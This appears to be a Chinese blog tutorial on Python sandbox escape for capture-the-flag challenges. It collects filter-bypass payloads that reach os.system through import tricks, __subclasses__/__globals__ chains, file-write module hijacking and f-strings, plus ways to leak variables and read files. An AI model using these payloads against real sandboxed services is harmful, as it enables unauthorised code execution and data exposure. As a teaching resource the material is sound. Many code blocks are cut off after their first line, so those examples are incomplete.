python沙盒逃逸
python沙盒逃逸
Sherlock引用
执行系统命令
基础知识
在 Python 中执行系统命令的方式有:
- os
- commands:仅限
2.x
- subprocess
- timeit:
timeit.sys
、timeit.timeit("__import__('os').system('whoami')", number=1)
- platform:
platform.os
、platform.sys
、platform.popen('whoami', mode='r', bufsize=-1).read()
- pty:
pty.spawn('ls')
、pty.os
- bdb:
bdb.os
、cgi.sys
- cgi:
cgi.os
、cgi.sys
- …
以下为一个脚本测试了一下所有的导入 os
或者 sys
的库:
1 | #-*- coding:utf8 -*- |
all_modules_2
就是 2.x 的标准库,all_modules_3
就是 3.x 的标准库
花式使用import
首先,禁用 import os
肯定是不行的,因为
1 | import os |
都可以。如果多个空格也过滤了,Python 能够 import 的可不止 import
,还有 __import__
:__import__('os')
,__import__
被干了还有 importlib
:importlib.import_module('os').system('ls')
这样就安全了吗?实际上import
可以通过其他方式完成。回想一下 import 的原理,本质上就是执行一遍导入的库。这个过程实际上可以用 execfile
来代替:
1 | execfile('/usr/lib/python2.7/os.py') |
不过要注意,2.x 才能用,3.x 删了 execfile,不过可以这样:
1 | with open('/usr/lib/python3.6/os.py','r') as f: |
这个方法倒是 2.x、3.x 通用的
不过要使用上面的这两种方法,就必须知道库的路径。其实在大多数的环境下,库都是默认路径。如果 sys 没被干掉的话,还可以确认一下,:
1 | import sys |
eval、exec 都是相当危险的函数,exec 比 eval 还要危险,它们一定要过滤,因为字符串有很多变形的方式,对字符串的处理可以有:逆序、拼接、base64、hex、rot13…等等
1 | ['__builtins__'] == |
最后那个格式化字符串,任意字符都可以构造出来
恢复 sys.modules
sys.modules
是一个字典,里面储存了加载过的模块信息。如果 Python 是刚启动的话,所列出的模块就是解释器在启动时自动加载的模块。有些库例如 os
是默认被加载进来的,但是不能直接使用(但是可以通过 sys.modules
来使用,例如 sys.modules["os"]
),原因在于 sys.modules 中未经 import 加载的模块对当前空间是不可见的。
如果将 os 从 sys.modules 中剔除,os 就彻底没法用了:
1 | >>> sys.modules['os'] = 'not allowed' |
注意,这里不能用 del sys.modules['os']
,因为,当 import 一个模块时:import A,检查 sys.modules 中是否已经有 A,如果有则不加载,如果没有则为 A 创建 module 对象,并加载 A。
所以删了 sys.modules['os']
只会让 Python 重新加载一次 os。
看到这你肯定发现了,对于上面的过滤方式,绕过的方式可以是这样:
1 | sys.modules['os'] = 'not allowed' |
花式执行函数
通过上面内容我们很容易发现,光引入 os 只不过是第一步,如果把 system 这个函数干掉,也没法通过os.system
执行系统命令,并且这里的system
也不是字符串,也没法直接做编码等等操作。我遇到过一个环境,直接在/usr/lib/python2.7/os.py
中删了system
函数。。。
不过,要明确的是,os 中能够执行系统命令的函数有很多:
1 | print(os.system('whoami')) |
过滤system
的时候说不定还有其他函数给漏了
其次,可以通过 getattr
拿到对象的方法、属性:
1 | import os |
不让出现 import 也没事:
1 | >>> getattr(getattr(__builtins__, '__tropmi__'[::-1])('so'[::-1]), 'metsys'[::-1])('whoami') |
一样可以。这个方法同样可以用于逃逸过滤 import 的沙箱
getattr
是 Python 中的一个内置函数,用于获取对象的属性值。它的语法如下:
1 | getattr(object, name[, default]) |
object
:表示要获取属性的对象。name
:表示要获取的属性的名称。default
:可选参数,表示当属性不存在时返回的默认值。如果省略了default
参数,并且属性不存在,那么getattr
将会引发AttributeError
异常。
getattr
的作用是从对象中获取指定名称的属性值。如果对象中存在该属性,则返回该属性的值;如果不存在,则根据情况返回默认值或引发异常
与 getattr
相似的还有 __getattr__
、__getattribute__
,它们自己的区别就是getattr
相当于class.attr
,都是获取类属性/方法的一种方式,在获取的时候会触发__getattribute__
,如果__getattribute__
找不到,则触发__getattr__
,还找不到则报错
builtins、builtin__与__builtins
先说一下,builtin
、builtins
,__builtin__
与__builtins__
的区别:
首先我们知道,在 Python 中,有很多函数不需要任何 import 就可以直接使用,例如chr
、open
。之所以可以这样,是因为 Python 有个叫内建模块
(或者叫内建命名空间)的东西,它有一些常用函数,变量和类。顺便说一下,Python 对函数、变量、类等等的查找方式是按 LEGB
规则来找的,其中 B 即代表内建模块,这里也不再赘述了,有兴趣的搜搜就明白了。
在 2.x 版本中,内建模块被命名为 __builtin__
,到了 3.x 就成了 builtins
。它们都需要 import 才能查看:
2.x:
1 | >>> import __builtin__ |
3.x:
1 | >>> import builtins |
但是,__builtins__
两者都有,实际上是__builtin__
和builtins
的引用。它不需要导入,我估计是为了统一 2.x 和 3.x。不过__builtins__
与__builtin__
和builtins
是有一点区别的,感兴趣的话建议查一下,这里就不啰嗦了。不管怎么样,__builtins__
相对实用一点,并且在 __builtins__
里有很多好东西:
1 | >>> '__import__' in dir(__builtins__) |
(不知为何我在pycharm自带的控制台里面运行就不行,但是自己写脚本的话就可以)
这里稍微解释下 x.__dict__
,它是 x 内部所有属性名和属性值组成的字典,有以下特点:
- 内置的数据类型没有
__dict__
属性 - 每个类有自己的
__dict__
属性,就算存着继承关系,父类的__dict__
并不会影响子类的__dict__
- 对象也有自己的
__dict__
属性,包含self.xxx
这种实例属性
那么既然__builtins__
有这么多危险的函数,不如将里面的危险函数破坏了:
1 | __builtins__.__dict__['eval'] = 'not allowed' |
或者直接删了:
1 | del __builtins__.__dict__['eval'] |
但是我们可以利用 reload(__builtins__)
来恢复 __builtins__
。不过,我们在使用 reload
的时候也没导入,说明 reload
也在 __builtins__
里,那如果连reload
都从__builtins__
中删了,就没法恢复__builtins__
了,需要另寻他法。还有一种情况是利用 exec command in _global
动态运行语句时的绕过,比如实现一个计算器的时候,在最后有给出例子。
这里注意,2.x 的 reload
是内建的,3.x 需要 import imp
,然后再 imp.reload
。你看,reload 的参数是 module
,所以肯定还能用于重新载入其他模块
通过继承关系逃逸
在 Python 中提到继承就不得不提 mro
,mro
就是方法解析顺序,因为 Python 支持多重继承,所以就必须有个方式判断某个方法到底是 A 的还是 B 的。.__mro__
或 .mro()
,是个元组,记录了继承关系:
1 | >>> ''.__class__.__mro__ |
类的实例在获取 __class__
属性时会指向该实例对应的类。可以看到,''
属于 str
类,它继承了 object
类,这个类是所有类的超类。具有相同功能的还有__base__
和__bases__
。需要注意的是,经典类需要指明继承 object 才会继承它,否则是不会继承的:
1 | >>> class test: |
那么知道这个有什么用呢?
由于没法直接引入 os,那么假如有个库叫oos
,在oos
中引入了os
,那么我们就可以通过__globals__
拿到 os。例如,site
这个库就有 os
:
1 | >>> import site |
怎么理解这个 __globals__
呢?它是函数所在的全局命名空间中所定义的全局变量。也就是只要是函数就会有这个属性。除了 builtin_function_or_method
或者是 wrapper_descriptor
、method-wrapper
类型的函数,例如 range
、range.__init__
、''.split
等等。
那么也就是说,能引入 site 的话,就相当于有 os。那如果 site 也被禁用了呢?没事,本来也就没打算直接 import site
。可以利用 reload
,变相加载 os
:
1 | >>> import site |
还有,既然所有的类都继承的object
,那么我们先用__subclasses__
看看它的子类(我的另一篇博客ssti学习中有相关知识)
以 2.x 的site._Printer
为例(py3.x 中已经移除了这里 __globals__
的 os
):
1 | >>> ''.__class__.__mro__[-1].__subclasses__()[71]._Printer__setup.__globals__['os'] |
os 又回来了。并且 site 中还有 __builtins__
。
这个方法不仅限于 A->os,还阔以是 A->B->os,比如 2.x 中的 warnings
:
1 | import warnings |
在继承链中就可以这样(py3.x 中已经移除了这里 __globals__
的 linecache
):
1 | >>> [].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'].system('whoami') |
顺便说一下,warnings
这个库中有个函数:warnings.catch_warnings
,它有个_module
属性:
1 | def __init__(self, record=False, module=None): |
所以通过_module
也可以构造 payload(py3.x 中已经移除了 catch_warnings
的 linecache
):
1 | >>> [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.linecache.os.system('whoami') |
3.x 中的warnings
虽然没有 linecache
,也有__builtins__
同样,py3.x 中有<class 'os._wrap_close'>
,利用方式可以为:
1 | >>> ''.__class__.__mro__[-1].__subclasses__()[133].__init__.__globals__['system']('whoami') |
当然这样也是可以的(3.x):
1 | set.mro()[-1].__subclasses__()[133].__init__.__globals__['system']('whoami') |
顺便提一下,object
本来就是可以使用的,如果没过滤的话,payload 可以再简化为:
1 | object.__subclasses__()[133].__init__.__globals__['system']('whoami') |
还有一种是利用builtin_function_or_method
的 __call__
:
1 | "".__class__.__mro__[-1].__subclasses__()[29].__call__(eval, '1+1') |
或者简单一点:
1 | [].pop.__class__.__call__(eval, '1+1') |
上面这些 payload 大多数是直接 index 了,但是直接用 index 不太健壮,可以都换成列表推导式,用 __name__
来获取想要的 class,上面也举了好几个例子了,这里就不多说啦。
最后再补充几个。
可以这样利用:
1 | class test(dict): |
还可以利用异常逃逸:
1 | hack = lambda : [0][1] |
还可以利用 format
:
"{0.__class__.__base__}".format([])
"{x.__class__.__base__}".format(x=[])
"{.__class__.__base__}".format([])
("{0.__class_"+"_.__base__}").format([])
(这里顺手记录下,对于字典键是整数型的比如 {"1":2}
,format 是无法拿到值的 :),这样会报错:''' {0['1']} '''.format({"1":2})
,'1'
引号去掉的话又会报没有这个键,这个特性可以见文档)
上面的这些利用方式总结起来就是通过 .mro()
、__class__
、type(...)
、__mro__
、__subclasses__
、__base__
、__bases__
等属性/方法去获取 object
,再根据__globals__
找引入的__builtins__
或者eval
等等能够直接被利用的库,或者找到builtin_function_or_method
类/类型__call__
后直接运行eval
文件读写
2.x 有个内建的 file
:
1 | >>> file('key').read() |
还有个 open
,2.x 与 3.x 通用。
还有一些库,例如:types.FileType
(rw)、platform.popen
(rw)、linecache.getlines
(r)。
为什么说写比读危害大呢?因为如果能写,可以将类似的文件保存为math.py
,然后 import 进来:
math.py:
1 | import os |
调用
1 | >>> import math |
这里需要注意的是,这里 py 文件命名是有技巧的。之所以要挑一个常用的标准库是因为过滤库名可能采用的是白名单。并且之前说过有些库是在sys.modules
中有的,这些库无法这样利用,会直接从sys.modules
中加入,比如re
:
1 | >>> 're' in sys.modules |
当然在import re
之前del sys.modules['re']
也不是不可以…
最后,这里的文件命名需要注意的地方和最开始的那个遍历测试的文件一样:由于待测试的库中有个叫 test
的,如果把遍历测试的文件也命名为 test,会导致那个文件运行 2 次,因为自己 import 了自己。
读文件暂时没什么发现特别的地方。
剩下的就是根据上面的执行系统命令采用的绕过方法去寻找 payload 了,比如:
1 | >>> __builtins__.open('key').read() |
或者
1 | >>> ().__class__.__base__.__subclasses__()[40]('key').read() |
敏感信息泄露
这个也算只能读吧。
dir()
__import__("__main__").x
,其中__main__
还会泄露脚本的绝对路径:<module '__main__' from 'xxx.py'>
__file__
,文件绝对路径x.__dict__
locals()
globals()
vars()
sys._getframe(0).f_code.co_varnames
:用于获取当前执行代码块的局部变量名称列表:
sys._getframe(0)
: 这是一个调用sys
模块中的_getframe()
函数的示例。_getframe()
函数用于访问调用栈的帧对象,参数0
表示获取当前帧(即调用该语句的帧)。.f_code
: 这是帧对象的一个属性,代表正在执行的代码的代码对象。.co_varnames
: 这是代码对象的一个属性,包含了当前代码块的局部变量名称列表
sys._getframe(0).f_locals
:用于获取当前执行代码块的局部变量字典:
sys._getframe(0)
: 这是一个调用sys
模块中的_getframe()
函数的示例。_getframe()
函数用于访问调用栈的帧对象,参数0
表示获取当前帧(即调用该语句的帧)。.f_locals
: 这是帧对象的一个属性,包含了当前执行代码块的局部变量字典
inspect.x
,inspect 有很多方法可以获取信息,比如获取源码可以用inspect.getsource
,还有其他很多的功能…
绕过姿势
过滤 [ ]
应对的方式就是将[]
的功能用pop
、__getitem__
代替(实际上a[0]
就是在内部调用了a.__getitem__(0)
):
1 | >>> ''.__class__.__mro__.__getitem__(2).__subclasses__().pop(59).__init__.func_globals.get('linecache').os.popen('whoami').read() |
当然,dict 也是可以 pop 的:{"a": 1}.pop("a")
当然也可以用 next(iter())
替代,或许可以加上 max
之类的玩意。
过滤引号
chr
最简单就是用 chr
啦
1 | os.system( |
扣字符
利用 str
和 []
,挨个把字符拼接出来
1 | os.system( |
当然 []
如果被过滤了也可以 bypass,前面说过了。
如果 str 被过滤了怎么办呢?type('')()
、format()
即可。同理,int
、list
都可以用 type
构造出来。
格式化字符串
那过滤了引号,格式化字符串还能用吗?
1 | (chr(37)+str({}.__class__)[1])%100 == 'd' |
又起飞了…
dict() 拿键它不香吗?
1 | 'whoami' == |
限制数字
上面提到了字符串过滤绕过,顺便说一下,如果是过滤了数字(虽然这种情况很少见),那绕过的方式就更多了,我这里随便列下:
- 0:
int(bool([]))
、Flase
、len([])
、any(())
- 1:
int(bool([""]))
、True
、all(())
、int(list(list(dict(a၁=())).pop()).pop())
- 获取稍微大的数字:
len(str({}.keys))
,不过需要慢慢找长度符合的字符串 - 1.0:
float(True)
- -1:
~0
- …
其实有了 0
就可以了,要啥整数直接做运算即可:
1 | 0 ** 0 == 1 |
限制空格
空格通常来说可以通过 ()
、[]
替换掉。例如:
1 | [i for i in range(10) if i == 5]` 可以替换为 `[[i][0]for(i)in(range(10))if(i)==5] |
限制运算符
> < ! - +
这几个比较简单就不说了。
==
可以用 in
来替换。
替换 or
的测试代码
1 | for i in [(100, 100, 1, 1), (100, 2, 1, 2), (100, 100, 1, 2), (100, 2, 1, 1)]: |
上面这几个表达式都可以替换掉 or
替换 and
的测试代码
1 | for i in [(100, 100, 1, 1), (100, 2, 1, 2), (100, 100, 1, 2), (100, 2, 1, 1)]: |
上面这几个表达式都可以替换掉 and
过滤了 ()
- 利用装饰器 @
- 利用魔术方法,例如
enum.EnumMeta.__getitem__
f 字符串执行
f 字符串算不上一个绕过,更像是一种新的攻击面,通常情况下用来获取敏感上下文信息,例如过去环境变量
1 | {whoami.__class__.__dict__} |
也可以直接 RCE
1 | >>> f'{__import__("os").system("whoami")}' |